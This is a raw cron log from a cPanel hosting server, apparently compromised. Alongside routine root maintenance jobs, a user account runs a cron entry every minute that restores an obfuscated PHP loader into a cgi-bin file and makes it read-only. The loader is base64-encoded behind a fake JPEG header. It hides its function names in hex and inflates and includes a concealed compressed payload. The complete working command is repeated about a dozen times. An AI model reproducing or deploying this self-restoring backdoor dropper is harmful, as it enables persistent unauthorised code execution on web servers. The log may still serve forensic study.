Sep  1 10:48:01 server CROND[7136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:48:01 server CROND[7134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:49:01 server CROND[7530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:49:01 server CROND[7529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:49:01 server CROND[7531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:50:01 server CROND[8013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:50:01 server CROND[8010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:50:01 server CROND[8014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:50:01 server CROND[8019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 10:50:01 server CROND[8018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:50:01 server CROND[8021]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:50:01 server CROND[8028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:50:01 server CROND[8031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:50:01 server CROND[8030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:51:01 server CROND[8852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:51:01 server CROND[8853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:51:01 server CROND[8854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:52:01 server CROND[9234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:52:01 server CROND[9233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:52:01 server CROND[9235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:53:01 server CROND[9604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:53:01 server CROND[9605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:53:01 server CROND[9606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:54:01 server CROND[9993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:54:01 server CROND[9994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:54:01 server CROND[9995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:55:01 server CROND[10477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:55:01 server CROND[10478]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 10:55:01 server CROND[10481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:55:01 server CROND[10483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:55:01 server CROND[10482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:55:01 server CROND[10485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 10:55:01 server CROND[10484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:56:01 server CROND[11400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:56:01 server CROND[11401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:56:01 server CROND[11402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:57:01 server CROND[11769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:57:01 server CROND[11770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:57:01 server CROND[11771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 10:57:01 server CROND[11772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:58:01 server CROND[12144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:58:01 server CROND[12145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:58:01 server CROND[12147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 10:59:01 server CROND[12543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:59:01 server CROND[12544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:59:01 server CROND[12545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 11:00:01 server CROND[12955]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 11:00:01 server CROND[12957]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 11:00:01 server CROND[12960]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 11:00:01 server CROND[12961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
